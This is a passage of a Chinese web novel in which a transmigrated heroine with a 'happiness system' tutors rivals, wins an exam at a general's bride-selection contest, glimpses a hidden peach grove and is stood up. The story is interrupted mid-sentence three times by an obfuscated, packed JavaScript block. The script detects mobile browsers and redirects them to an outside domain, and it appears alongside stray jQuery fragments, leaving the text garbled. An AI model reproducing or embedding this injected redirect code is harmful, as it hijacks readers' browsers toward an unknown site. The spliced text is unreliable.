如此熟悉的手法,不用猜,自然是风慕予。
刚暗叹完他竟真的不来看望他,转头他就来了。
他其实还是关心她的。他并没有看上去那么冷漠无情,只是想用冷漠无情的表象,无声地拒绝那些企图接近他的人。
她站起身,理了理凌乱的衣领,抬头望向他,受宠若惊地道:“将军大人,今日怎么有空?难不成特地来接我回将……”
风慕予直接打断了她:“带我去书摊。”
“好吧。”陈念念应着,灿烂的笑容顿时变成一个礼貌的假笑。
风慕予也太执着了,竟还惦记着一个小小的书摊。
将军府内上百佳丽,难道还不够他惦记的吗?
凭着记忆,费了一些时间,她终于带着风慕予找到了先前买书的巷子,环顾一圈,却没有看见一个书摊,急忙解释:“我当日就是在这里买的,千真万确,绝无欺瞒,至于今日为何不见了,或许是他还没有出摊,或许是他听见了什么风声,要避一避风头,谁知道呢?”
风慕予没有回陈念念的话,但也没有怪罪她的意思,在巷子中央止步,将巷子前前后后打量了个遍,良久,才道:“跟我走。”
“等等,可不能白来一趟,我想买点东西再走!”
虽然没有找到书摊,但陈念念发现,比先前多了一个水果摊。她几步走到水果摊前,拿起桃子掂量了一下,“老板,怎么卖?”
一直以来,她最喜欢吃的水果就是桃子,可惜将军府从来没有供应过,既然在这里看见了,怎么能够错过,必须买它!
风慕予的目光掠过陈念念,望向她手中的桃子,只道:“走。”
陈念念一愣,立时放下选好的桃子,快步跟上风慕予。
她在他的眼底捕捉到了一缕瘆人的阴郁,落在耳中的声音也冷得能冰封千里,惊得她下意识听从了他的话,不敢有一点忤逆。
风慕予亲自将陈念念送到了将军府,不过,走得是侧门。
陈念念一路老实地没有再说一句话,告别时,抬起头细细观察他的反应,却见他面色如常,眸光幽静,无波无澜。
刚刚那一瞬,难道只是她的错觉吗?
风慕予看着陈念念渐行渐远,飞身跳上屋顶,眸光稍稍沉了沉,叫出一直隐在暗处的惊蛰,“那条巷子里的人有问题,派人去查。”
陈念念径直走回了榴花院。
榴花院中很是安静,其他人果然都不在,这个时间,想必是去了青松院上课,只有甜橙在院中的石桌旁摆弄着糕点。
甜橙望见了门前的陈念念,面上多了几分掩不住的笑意,道:“小姐,春归堂的伙计告诉奴婢,是将军大人将你接走了,奴婢就只好先回来了。将军大人是不是带你去了什么有趣的地方?”
倒了杯茶,她继续道,“奴婢刚刚收拾好了屋子,想着小姐定是要用完了午膳再回来,便只准备了些简单的茶水和糕点……”
陈念念几步走到石桌旁,拿起甜橙倒好的茶水,一饮而尽,摆了摆手,满脸失望地说:“可别提你家将军了,真无趣至极!有趣的地方?用午膳?不存在的!连我想买个桃子都不同意,实在是……”
听得陈念念的话,甜橙面上的笑意一僵,慌忙抬手捂住陈念念的嘴,小心地看了看四周,确认无人之后,仍旧极为谨慎,压低声音说:“小姐,难道来之前没有人告诉过你,将军大人最讨厌吃的东西是什么吗?若不想被赶出将军府,最好连那个字都不要提!”
陈念念掰开甜橙的手,皱了皱眉,不明所以。
甜橙的意思是,风慕予最讨厌吃的东西就是……
仔细想想,就她目前对将军府的了解,府中有榴花院、梨花院、桂花院、杏花院……却没有桃花院。丫鬟的名字有甜橙、脆枣、柑橘、雪梨、蜜柚……什么水果都有,偏偏没有桃子。
虽还未到桃子全面成熟的季节,但以将军府的地位和财力,不至于搞不来几个早熟的桃子,她却从未在将军府见过半个,确实有些蹊跷。
要知道从前在长公主府中,无论缺了什么水果,桃子是必不能缺的,单她一人一日便能吃上三五个,风慕予也受了她的影响,常常和她一起摘桃子、吃桃子,她递给他多少,他便吃多少,从未拒绝。
他们曾为了评比最好吃的桃子,找遍大街小巷。
长公主府中的那一片桃林,都是他们亲手种下的。
如今竟有人告诉她,风慕予最讨厌桃子?不允许别人提起?
简直比他性情大变,更让她感到震惊!
简单用了些糕点,陈念念回到房中,倒在床上冥思苦想。
她想不明白,风慕予的这些变化,是怎么了?
他平静的面目背后,究竟隐藏着什么心事?
他的幸福感,如何才能提升?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446679|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
纵观她这些日子的所作所为,实是情势所迫,或许不但对提升他的幸福感无益,反而让他更烦躁,她得想想办法,改变一下策略。
对了,也不知赵怜儿何时才能出现?
她的出现,会否带来转机?
不知不觉到了傍晚,日落西山,晚霞晕染了半边天空。
榴花院中终于有了一些不一样的动静。
陈念念清晰地听见了大小姐苛刻的呵斥声和丫鬟卑微的认错声,不用多想,定是陈娉婷回来了。懒懒地起身,简单地披了件外衣出门,果然在院中看见了一身彩衣,明艳招摇的陈娉婷。
陈娉婷刚走进院子,下意识循着推门声望了一眼,见是陈念念,面色顿时一沉,刻意冷哼了一声,用力扭过头,语中满是谴责:“见色忘义,过河拆桥,只顾着自己逍遥快活,枉费了本小姐一片好心,以后,别指望我再理你,别指望我再跟你说一点课上的内容!”
陈念念听陈娉婷话里的意思,应是不知道她中毒的事,想来是风慕予隐下了消息。陈娉婷只以为她被风慕予带走了,还在府外“逍遥快活”了多日,忘记了她们之间的约定,正别扭地生着气。
看着陈娉婷头也不回地走回自己的房间,她只觉好笑,没有上前同陈娉婷解释,反而悠闲地走到石桌旁坐下,招了招手,叫住正准备出院子的甜橙:“不用为我担心,不用去帮我辛苦讨要上课内容,所有的考试内容将军大人都已告知于我,有将军大人的特别提点,你家小姐必定能够在明日的考试中拔得头筹,大放异彩!”
她说得胸有成竹,声音不轻不重,正好能够让院中人通通听见。
陈娉婷进门的脚步不由停住了,心中闷气难消,却又对陈念念提到的东西尤为心动,内心挣扎了一阵,终是抵挡不住诱惑,故作高冷地开口:“看在姐妹一场,你若是想要我理你,也不是不可。”
她回头看向陈念念,也不拐弯抹角,直接提出自己的要求,“七日前,你承诺将将军大人与你独处时说的话通通告诉我,却不告而别,食言在先,今日,你若能够连带着将这几日将军大人教给你的东西也教给我,助我在明日的考试中脱颖而出,我便暂且原谅你。”
陈念念象征性地犹豫了一下,很快应下:“好,我告诉你。”
目的轻松达到,她轻轻勾了勾唇角,只觉陈娉婷果然只是个十几岁的孩子,太容易忽悠了,不过,这么直来直去,不懂得掩饰心思和意图的性子,倒也省得她多提防了。
“晚膳过后,来我房间。”她交代道,又补上,“对了,教一个也是教,教两个也是教,你若有要好的朋友,可一并带来。”
夜幕彻底降临。
房内却灯火如昼。
陈念念坐到书桌旁,准备开启补习班。
倒是没想到,陈娉婷真的带了一个朋友同来。这个朋友还是她万万意料不到的,一直以为毫无交集的——柳倾眉。
她忍不住好奇:“你们两个的关系,什么时候这么要好了?”
柳倾眉毕恭毕正地在书桌旁坐下,笑而不语。
19. 考试
陈娉婷毫不避讳地直言:“因为我们两都看不上燕梦瑶。”
很好,陈念念当即信了。
女孩子间的友谊,就是这么的纯粹。
很快进入正题,她先看了看陈娉婷带来的课本,了解了一下她们这七日所学的内容,果然如她所料,学得都是些粗浅的现代常识,学了没有什么坏处,但对于她们这些大家闺秀而言,着实也没有什么用处。
她当黎国长公主时,给风慕予留下了满满一藏书阁的书,书里都是些现代的知识,虽然她不能太过明显地改变时代,但还是希望能够尽可能帮助风慕予轻松地解决一些问题。就目前来看,风慕予显然已阅读完了藏书阁中的所有书籍,却并没有过多的应用于实际,而是挑出了其中最没有实用价值,最不适应时代的内容,编成了她手里这本教材。
靠考这些内容选妻?
除非风慕予脑子坏了。
依她看,风慕予根本没有真要在选妻宴上选妻的意思,拿些稀奇古怪的东西出来完全是为了刁难人。
对了,更重要的一点,借机敛财!
偏偏还有那么多人当了真。
陈念念:“……就是这样,非常简单,懂了吗?”
柳倾眉:“懂了。”
“不懂不懂,全都不懂!”
陈娉婷颇为烦躁地摇了摇手。
以她的脑子,自是接受不了现代化高强度的学习模式,才学了半个时辰,便嚷嚷着要休息,“让我歇歇,脆枣,再去泡壶茶来!”
不顾形象地向后一靠,瘫在椅子上,她满心苦涩,怒斥陈念念,“你教的都是什么?真不是故意虐待我?你知不知道你不辞而别后,我到处找你?知不知道我那时遇见了什么,是怎么回到将军府的?”
“我不知道。”陈念念敏锐地嗅到了瓜的气息,从书页中抬起头来,望向陈娉婷,问道,“所以,你遇见了什么?”
“我开始只知我们的包厢被围,不知你是被将军大人带走了,便急忙去……”陈娉婷说着,似是回忆起了什么,脸色骤然一变,声音低了下去,没再说话,等了一会儿,直接转移了话题,“你还有没有简单些的内容,再教教我,我明日可是要去见将军大人的!”
陈念念看着陈娉婷极为不自然的脸色,说话时飘忽不定的眼神,断定她离开遗珠楼后,陈娉婷肯定还遇上了什么事,八卦之心根本无法抑制,主动道,“别卖关子,你告诉我,我再送你一个答题小窍门。”
可惜,之后陈娉婷一直三缄其口,无论她再怎么威逼利诱,旁敲侧击,都没有再透露半个与当天有关的字。
她只得作罢,专心投身于教育事业。
-
天刚蒙蒙亮时,陈念念便被甜橙强行叫醒了,不情不愿地起床,打着哈欠,时不时眯起双眼,半梦半醒中开始梳洗穿戴。
先前闲着时嫌弃太无聊,如今没了懒觉,还真有些想念。
随意地挑了件水绿色的长裙,照例将自己的脸涂得花里胡哨的,她简单用了早膳,推开房门,正巧看见了同样准备出门的陈娉婷。
今日的考试将在青松院进行。
考试开始前,所有的参加者都聚集在青松院正中的广场上,等待按照编号分配考场,时间尚早,但陈念念和陈娉婷到时,人已经到了整整齐齐,三五成群,交头接耳,好不热闹。
陈娉婷一眼看见柳倾眉,立时拉着陈念念到了柳倾眉的身边。
陈念念静静地站在人群中,仔细观察了整个广场上的人,发现七日不见,选妻宴上百参加者已隐隐形成了两个相对立的团体。
一个以燕梦瑶为中心,认为燕梦瑶才貌双全,将是选妻宴的最终赢家,一个以陈娉婷和柳倾眉为中心,认为不能让一个异国人抢了风头。
最后,她的目光穿过人群,直直落在了燕梦瑶的身上。
今日的燕梦瑶仍着一身红衣,面上笑意明媚,周身散发出掩盖不住的自信气息,只是站在那里,便将整个清晨都渲染得热烈了许多。
察觉到她的目光,燕梦瑶毫不顾忌地回望她,嘴角的笑意更浓了些,热情友好,仿佛与她之间,什么争执都没有出现过。
虽然风慕予没有让消息外泄,将军府中少有人知道她中了毒,但以燕梦瑶的情报网,定是能探到消息的,应早已知道遗珠楼抬价的人就是她。下在包厢中的,是难得一见的致命剧毒,若不是有柳在明的医术,和风慕予讨来的稀世药材,她即便不死,也活不轻松。
她不过是不希望燕梦瑶有机会接近风慕予,弄了一些小打小闹,却没想到,燕梦瑶一出手便想要取她的性命,心肠着实狠毒。
想想真是好气。
她从鬼门关走一遭,却不能摆到明面上,不能拿燕梦瑶怎么样。
燕梦瑶乍听见陈念念没死的消息时,震惊不已,当场摔碎了手中的茶盏,即便现在照面,看见她完好无损的模样,仍是免不了惊讶。
但她掩饰得很好,始终微微笑着,没有说话。
只袖中的手暗暗握紧,心中计划着,必要尽早取了陈念念的性命。
“你个丑八怪,看什么看?再看也漂亮不了一分!”
燕梦瑶身旁的一个黄衫女子,忽凶巴巴地冲着陈念念说道,长相平平无奇,先前的才艺也毫无记忆点,暂且称作跟班甲吧。
见陈念念不搭理她,还要不依不饶,“怎么耳朵不好使?脑子怕是也不好使吧?燕国公主的美貌,你八辈子都觊觎不了!”
跟班乙丙丁紧随而上。
“哎呦,快来看呀!这不是花园会的头名,要才没才,要貌没貌,堂堂京城第一美人的姐姐——京城第一丑女吗?”
“可别逗我了,用市井把戏赢的头名,也能算头名吗?你看她笨头笨脑的样子,识字吗?这场考试的头名,定是梦瑶……”
“我听说她一节课都没上,是不是听不懂,干脆自暴自弃了?如果是我,就直接不进考场,免得到时交了白卷,羞得没脸见人!”
……
陈念念转开头,没再看燕梦瑶,也没有说话。
陈娉婷和柳倾眉看不过眼,想要帮她回嘴,也被她拦下了。
她当然不是怕怼不过燕梦瑶她们,只是,不想在选妻宴上惹事。
很快,考场分配完毕,由女管事当众宣布。
陈念念听见了自己的名字,随后,又听见了燕梦瑶的名字。
真是巧了,她和燕梦瑶竟然在同一个考场。
找了找自己所属考场的位置,她告别陈娉婷和柳倾眉,向着燕梦瑶的方向走去,经过燕梦瑶身边时,明明谁都没有说话,谁都没有给予一个眼神,却莫名生出了一股汹涌的暗流,将空气都搅得剑拔弩张。
陆续就座完毕,考试很快开始。
考场中顿时一片肃静,只剩下考卷翻动和衣袖摩擦的声音。
陈念念摊开考卷,迅速一扫,甚是满意。
考卷上的内容和她料想得差不多。昨日,她不但教了陈娉婷和柳倾眉许多,还特地为她们押了题,猜对了十之八、九,还算不错。
毫不费力地答完了所有的题目,她放下笔,吹了吹考
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446680|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
卷上未干的墨汁,准备直接交卷,抬头却见周围所有人都还在低着头奋笔疾书,忽觉得自己交得太快,似乎太过于引人注目。
还是低调些,再等一等吧。
燕梦瑶牢牢地盯着考卷上的题目,手中的笔却迟迟没有落下。
她掌控着别人没有的独家考试资料,这些资料也确实帮助她解出了不少的题目,但当她答到最后一题时,不由皱紧了眉,一筹莫展。
她忍不住偏头偷偷瞥了陈念念一眼,发现陈念念不知何时已放下了笔,双手托腮,摇头晃脑,一派无所事事的模样。
难道陈念念全部答完了?
不可能。
连她都答不出的内容,没有人能够答出。
她对今日比拼的头名,势在必得。
绞尽脑汁写下了最后一题的答案,她抬起头,环顾整个考场,确定尚没有一个人提前交卷,起身走到了监考的女管事面前,笑容隐隐带着些得意:“离结束尚早,本公主可以提前离开吗?”
陈念念看见燕梦瑶交卷,紧跟着起身也将自己的考卷递过去。
女管事收起两份考卷:“两位小姐,可自行离开。”
燕梦瑶率先出了考场,却在正中的广场上停下脚步,转回身,远远地望向陈念念,佯装关切地询问:“陈三小姐,考得如何?”
“燕三公主,急什么呢?一个时辰后,便见分晓。”
陈念念也望向燕梦瑶,脚步不停,目光相接,气势分毫不让,藏不住语中挑衅,“你马上就会知道,flag立得越多,脸打得就越疼。”
径直路过燕梦瑶,她忽捂住嘴,状似疑问,“对了,考卷上有个附加题问,flag是什么意思,燕三公主,你觉得自己答对了吗?”
出了青松院,陈念念没有回榴花院,而是在将军府中游荡。
选妻宴比拼什么的,于她而言不过是角色需要,她真正的任务只有一个——提升风慕予的幸福感,但到目前为止,没有一丁点的进展。
若风慕予的幸福感有波动,她便可以寻找波动的原因,有针对性地展开工作,可偏偏,一点波动也没有,她思来想去,只能回到最初,重新对将军府进行一番探索,大海捞针似的寻找蛛丝马迹。
她真希望是幸福感检测系统坏了。
系统:【没坏,上个月刚刚通过检查。】
“此处并不需要解释,闭嘴吧你!”
陈念念气恼又无奈,坑货系统,没有情商。
沿着将军府的小路走着,不知不觉到了荷花院。
荷花院位于乘风院的正后方,并不供选妻宴参加者居住,院中独有一片广阔的水榭,夏日荷花满湖,亭台如画,清幽雅致。
陈念念在曲折的回廊上一步一回顾,不愿错过任何细节。
明媚的日光落在水中,反光刺得她几乎睁不开眼,但她坚持向水中看去,忽见水面倒映出一个黑色的身影,正在亭台之上疾行。
能够在将军府的屋顶上来去自如的,恐怕只有风慕予吧。
她急忙抬起头寻找,随即,向着风慕予离去的方向追赶。
可惜不过一会儿,便跟丢了。
没办法。
她区区一个弱女子,怎么追得上来去无踪的武林高手。
累得重重喘着气,停下扶着墙休息,忽听见系统的声音。
【恭喜!任务目标幸福感+10,请继续加油!】
【小结,任务编号099,任务目标风慕予,当前总幸福感-89!】
陈念念:“???”
20. 木门
陈念念原本都打算放弃了,正要原路折返,突如其来的系统提示,无异于在告诉她,她必须追上去,搞清楚风慕予去了哪里。
他是看见了什么,还是遇见了什么人,怎么幸福感忽然提升了?
好在,无论他脚程多快,终究只是个人,这么一小会儿,必定没有出将军府,换言之,让他有所触动的人或物,也必定在将军府内。
【噩耗!任务目标幸福感-10,请继续加油!】
【小结,任务编号099,任务目标风慕予,当前总幸福感-99!】
特么风慕予几个意思?
逗她玩吗?
好不容易涨起来的幸福感,都不留着过个夜就回去了吗?
不行,她必须搞清楚是怎么回事!
她刚刚已追着风慕予出了荷花院,穿过了一片竹林,试探着再往里走了走,看见了一个熟悉的小湖。湖水平静无波,湖边无人看守,杂草丛生,很是荒凉,正是那日,她谎称坠湖的地点。
之前她也到过这里,但看见附近没有任何人活动的痕迹,也不见什么建筑物,便没有多在意,此时细看才发现,湖岸边隐约有一条小径,沿着小径向前走,可以看见一扇隐在草木之中的木门。
木门内,是一个她从不知晓的院子。
木门上落了一把锁,看款式,应该很好撬开。
她走上前,正要尝试开门,手上动作忽一滞。
脖子上凉凉的。
一柄长剑横在了她的肩膀上,随时准备取下她的性命。
长剑的主人不知何时到的她身侧。
是个女子,穿着一身白色的劲装,用白色的纱巾蒙着面,双眸冰冷,声音也不带一丝温度,告诫道:“擅闯者,格杀勿论。”
小命要紧,陈念念当即妥协,收回手,小心翼翼地一点点推开长剑,道:“误会,我只是闲逛到了这里,不能进我就不进了呗。”
白衣女子稍稍将长剑移开了些,但还是十分谨慎地用剑尖指着她,语中不留一点商量的余地:“马上离开,没有下次。”
陈念念毫不犹豫,转身就走。
快步回到湖边,她偷偷回头望了望,那木门前,又空无一人。
原来,此处并非无人看守,只是看守的人都隐在暗处。
想来那木门后,必是一个极为隐秘的地方。
但越是隐秘的地方,她越需要进去一探究竟。
陈念念没有离开,在湖边席地而坐,好好想了想。
据她的观察,那院子围墙低矮,墙边多是高大的树木,能轻松翻入,但她在将军府打听消息多日,从未听过有人提起这个院子,更别说进去,再看那白衣女子的身形和剑法,绝对是个不留情面的武林高手,若她再贸然靠近那个院子,极有可能真的“没有下次”。
有什么方法可以不被察觉地进去呢?
对了,她可是个有系统的人!
“坑货,快出来,找找有没有用得上的道具。”
【那必须是有的。但有言在先,现在所有道具都没有折扣。】
系统自信满满,像个专业的推销员,一一解释道:【瞬间移动符x2,撕掉符纸便可以瞬间移动到十公里内任意指定地点,无视所有障碍,两件捆绑销售,需20积分;隐身药水,喝下一口便可以使整个身体隐形,不被任何人或物察觉,持续60分钟,需20积分;自由之翼,为你插上一双翅膀,虽不能瞬移不能隐身,还是会被人所察觉,但是能飞,飞起来谁也奈何不了你,持续60分钟,需20积分。】
“呵呵。”陈念念听完冷笑了一声,直怼系统,“跟了我这么多年了,你的宿主我有多少积分,你心里没点ac数吗?”
【那些就是给你看看,最主要是这个。】
系统继续道:【透视望远镜,可以看见十公里内任何你想看的东西,无视任何遮挡,虽然不能让你进去,但可以让你在外面就看得一清二楚,持续24小时,只需10积分。特别提示,无法作用于人体。】
陈念念实在是太穷了。
哪怕只要10积分,也掏空了她的老底。
但出于八卦之心,不不不,出于对任务的执着,她选择买了。
拿到透视望远镜,她当即找了个隐蔽的地方,开始仔细观察。
先找到木门。
随即找了找白衣女子的身影,原来是藏在树上。
穿过木门,她满怀好奇,忽见满目桃红,不由一愣。
那院中,竟是一片桃林。
桃花开得正盛,朵朵饱满,坠在枝头,清风拂过,轻轻摇曳,娇艳的色彩连成一片,不逊于天边的霞光,一看便是有人精心料理。
不是说风慕予讨厌桃子吗?
怎么还会在将军府内种着桃花?
她继续往桃林深处看去,期待找到风慕予,或者一些与风慕予有关的线索,可是看了许久,除了桃树,什么也没有。这片桃林异常广阔,望不到边际,她一时仿佛落入了一个梦境,在原处兜兜转转。
又找了许久,桃树开始散开,让出一条小路。
终于有不一样的东西要出现了。
远远地,隐约可见一间小屋。
不大,却很精细,造型独特,装饰华丽,从屋顶到地面,都料理得一丝不苟,乍一看,让人觉得像是藏着什么珍宝。
正要往小屋里看,视野忽一暗。
系统:【10分钟到了。】
“太坑了,多几秒都不行吗?”
陈念念忍不住吐槽系统。
刚到关键时刻就结束,只觉10积分看了个寂寞。
系统:【你少把积分用在那些乱七八糟的事上,也不至于如此。】
“……”
心中不服,却又无可反驳。
看着手中的透视望远镜消失不见,陈念念无奈地咬了咬嘴唇。
今日,大概只能到此为止,她该回青松院了。
马上就要公布成绩,这么重要的时刻,她怎么能不回去看看燕梦瑶精彩的脸色,而且她长时间不出现,也容易引起其他人的怀疑。
不紧不慢地回到青松院,时间掐得刚刚好。
远远地,她看见聚在一起的陈娉婷和柳倾眉,陈娉婷一发现她便向着她疯狂招手,她顺势混入其中,假装自己从没有单独离开过。
等了片刻,所有参与者齐聚广场。
一女管事自正前方的正厅中走出,手中拿着写有比拼排名的册子,走到人群中央,示意全场噤声,开始宣读。
“第三名,陈娉婷。”
有些出乎意料,但还可以接受。
“第二名,柳倾眉。”
京城第一才女,实至名归。
“第一名,陈念念。”
原本鸦雀无声的广场上,顿时爆发出一阵难以抑制的惊呼声。
“天哪,怎么是她?”
“陈三小姐从未上过课,竟又得了头名?真是匪夷所思!”
“竟没听见燕三公主的名字,我听说她可是花了大价钱……”
……
纵使是训练有素的燕梦瑶,得知这样的结果,面上的笑容也有些维持不住,满腔得意,霎时成了波涛暗涌,一时无法消化。
她上一秒还在不屑,陈念念果然连三甲都进不了。
下一秒却得知,真正没有进三甲的人,竟然是她。
为了引起风慕予的注意,她饱读诗书,冰雪聪明,和为考题一掷千金的消息早已放出去了,如此排名,她的脸面还往哪里搁!
她忽想起陈念念那一句“flag立得越多,脸打得就越疼”。
胸口几乎要气炸。
很好,陈念念冲着陈娉婷和柳倾眉满意地点了点头。
临时抱佛脚培养的两个学生,个个都很争气。
她让陈
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446681|185127||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
娉婷带上要好的朋友一起学,可不是为了做慈善,而是为了将燕梦瑶从前三甲里挤出去,想想燕梦瑶忍痛花费重金,胸有成竹,最终却连名字都没能留在选妻宴的历史上,简直不要太爽。
她虽不能直接以牙还牙,但气一气,总是可以的。
“怎么可能没有梦瑶?我们不相信!”
“那个丑八怪怎么能得头名?梦瑶和丑八怪是差不多时间上交考卷的,你们是不是把她们两个的考卷弄错了?头名该是梦瑶才对!”
“对对,我们要求重查考卷,不能白白便宜了无才无德之人!”
……
燕梦瑶的跟班们将女管事围住,争吵着要为燕梦瑶主持公道。
燕梦瑶的心中也有着同样的怀疑,虽没有直接要求,但不出声阻止,暗中纵容了跟班们逼着女管事拿出两份考卷的行为。
女管事为难之下,如她们所愿地取出了两份考卷。
然而对比之下,确是陈念念更胜,且不止一筹。
陈念念将每一道题都答得简洁而准确,考卷上竟没有一个错处,而燕梦瑶,错漏颇多,不过是稍稍比常人多答对了一些题而已。
“原来燕三公主的考卷,也没有比我好到哪里去!”
“吹得那么厉害,还以为头名一定是她的,原来也不过如此!”
“只得如此结果,燕三公主那些银子岂不都打水漂儿了?”
……
广场上霎时多了许多嘲讽燕梦瑶的声音。
陈娉婷因燕梦瑶抢走所有拍品,心里一直憋着一口气,如今看燕梦瑶盘算落空,自然要踩上几脚,站在人群中,刻意提高了音调,假装同陈念念和柳倾眉谈论道:“就知道花些冤枉钱有什么用,到头来还不是人财两空?哪里比得上将军大人的独家传授,当真是……”
“她们得到了将军大人的独家传授?难怪包揽了前三甲!”
“原来陈三小姐不来上课是有原因的。”
“果然最厉害的还是陈三小姐!”
……
燕梦瑶极力缓和一些的脸色,顿时又变得难看许多。
仿佛刚刚被打得通红的脸,猝不及防间又被狠狠扇了一巴掌。
落得如此境地,实在是太难堪了。
但她毕竟是皇室的公主,懂得谨言慎行,心中再过气恼,也不至于像那些跟班一样,虽都是高门贵女的身份,却总是说出一些乡野村姑的粗鄙谩骂之言。她保持住最后的雍容华贵:“多谢管事明察。”
说完,走到陈念念的面前,大方祝贺:“恭喜。”
陈念念看着燕梦瑶对着自己笑,却只从她的眸光中看见了压抑不住的恨之入骨,霎时如冷风过境,周身被浓重的阴狠所包裹。
不用怀疑,燕梦瑶能够暗害她第一次,便会有第二次、第三次,此刻燕梦瑶心里想的,恐怕就是如何将她大卸八块,死无全尸吧。
不过风慕予是知情的,必会找机会处理燕梦瑶,尚未动手,想必是留着还有用处,若他真没空出手,她也有的是办法,并不惧怕。
陈娉婷毫不客气地瞪了燕梦瑶一眼,同时将陈念念拉到了自己的身旁,防备明显,语气不善:“我们不跟这种人虚与委蛇。”
连她自己都没有意识到,不知何时起,陈念念已从她万分嫌弃,避之不及的存在,变成了她会不由自主去维护的人。
女管事身后的丫鬟走到陈念念面前,礼貌道:“请随我来。”
陈念念自是随了陈娉婷的意,直接无视了燕梦瑶,点头告别后,跟上丫鬟,在众人万分艳羡的目光中,从容不迫地离开了青松院。
得了头名,她再次获得了和风慕予独处的机会。
路上,她仔细思考了一番,鉴于上一次的经验,这一次,她决定少说话,多做事,争取给风慕予一个不一样的美好舒适体验。
想着想着,她不由加快了脚步,免得他久等了。
21. 爽约
丫鬟将陈念念送到了小院门外。
小院还是先前那个小院。
面积不大,翠竹环抱,鸟语花香,恬静悠闲。
陈念念在院门外停了停,整理了一下自己的头发,又拍了拍身上的尘土,确认自己的装扮不至于太过失礼后,才终于推门而入。
环顾一圈,她发现风慕予并没有如她想象中那般在院中等着她,径直走到小屋门外,推开门向里看了看,也没有看见他。
她下意识向后退了两步,抬起头望向小屋屋顶,满目的紫藤萝花之间,也并没有他的一点踪迹。
确实有些奇怪,明明说好了风慕予需要观察选妻宴全程,今日却从头到尾都没有见到他,也不知他经过荷花院后,究竟去了哪里。
不过,既然有此安排,他总归是要出现的。
她就多一点耐心,等等他吧。
在小屋内走走看看,陈念念发现这次的布置与上次有所变化。
文雅的琴棋书画通通不见了,桌上的糕点多了好几样,也不知是猜到了来的人会是她,还是原本就打算换一种风格。
反正,很对她的风格。
随手拿了个糕点啃,啃着啃着,陈念念忽想到了一个主意,走到小院外,对着空气喊道:“有人吗?能帮我准备点东西吗?”
她有了经验,知道看似无人看守的小院,其实都有人盯着的。
果然,很快有人回应了她。
简单交代后,不出片刻,她需要的物品通通被送到了小屋中。
毕竟得了头名,待遇还是很不错的。
反正闲着也是闲着嘛,陈念念熟练地挽起宽大的衣袖,看着满满一桌子的新鲜食材,准备大显身手,为风慕予准备一顿丰盛的火锅。
上一次穿越时,她和风慕予曾有过一段极为落魄的时光,她为了赚钱给他治伤,开过火锅店,卖过火锅配方,所以,火锅早已在黎国广泛普及,但想要吃到味道纯正,样式多变的火锅,还是要看她的。
调制好火锅底料,放入锅中,香气瞬间溢满了整个小屋。
不一会儿,浓汤沸腾了,汤面上“咕噜咕噜”地不断冒着泡泡,仿佛在催促着什么,成功将身体里的馋虫通通唤醒。
陈念念舔了舔嘴唇,转头看了看院子,忍不住皱眉。
都过午膳的时间了,风慕予怎么还未出现?
转念,想到自己来时的想法,无奈拿起筷子先夹了些不那么容易熟的食材到锅里,安慰自己,再忍忍,再忍忍。
忍着忍着,汤水煮干了,食材煮烂了。
继续忍了忍,肚子受不住,开始“咕噜噜”地叫个不停。
看着仍旧没有一点动静的院子,她有点不高兴了。
终于,陈念念忍无可忍,决定不等了。
将所有食材放入锅中,她一手拿着筷子,一手拿着碗,准备开始战斗,她记得将军府有条规矩,所有人的食物,必须光盘。
等到她将所有食材解决完,时间已近申时,太阳开始西落,暖洋洋地照在身上,加上她吃得太撑,整个脑子都变得迟钝了许多,不由自主地产生了睡意,见屋中有张卧榻,她一歪身便倒下了。
一觉醒来,已是夜幕降临。
小屋内安静得可以听见虫鸣声。
没有任何人来过的痕迹。
很好,风慕予应是彻底放了她鸽子。
陈念念利落地收拾了桌子,随即离开小院,见一路上光线不好,看不清太多东西,便也没想着去别处闲逛,直接走回了榴花院。
走到榴花院外,她被迫停下脚步,觉得很是奇怪。
榴花院平日里总是冷冷清清,甚少有人串门,现在却一下子围满了人,诸多参加者聚在院中,围成了一堵人墙,不知是发生了什么?
她得了头名,但长得不合格,并不被人看好,必不是来看她的。
陈娉婷一早便说过,若再次得了前三甲,便和柳倾眉去城西新开的那家酒楼庆祝,这个时间应还在用晚膳,也必不是来看陈娉婷的。
她花了一些时间,费了一些力气,才终于挤过厚厚的人墙,走进榴花院,好奇地向着所有人视线聚焦处望去,看见了一袭黑衣。
是风慕予。
难怪了,有风慕予出现的地方,自是人再多都不能算多的。
院中的光线有些昏暗,透过斑驳的树影,细细碎碎地落在风慕予清冷的侧脸上,落在他一成不变的黑衣上。他负手而立,手中还握着长剑,低着头望向前方,嘴唇张合,声音低低地:“还需要什么?”
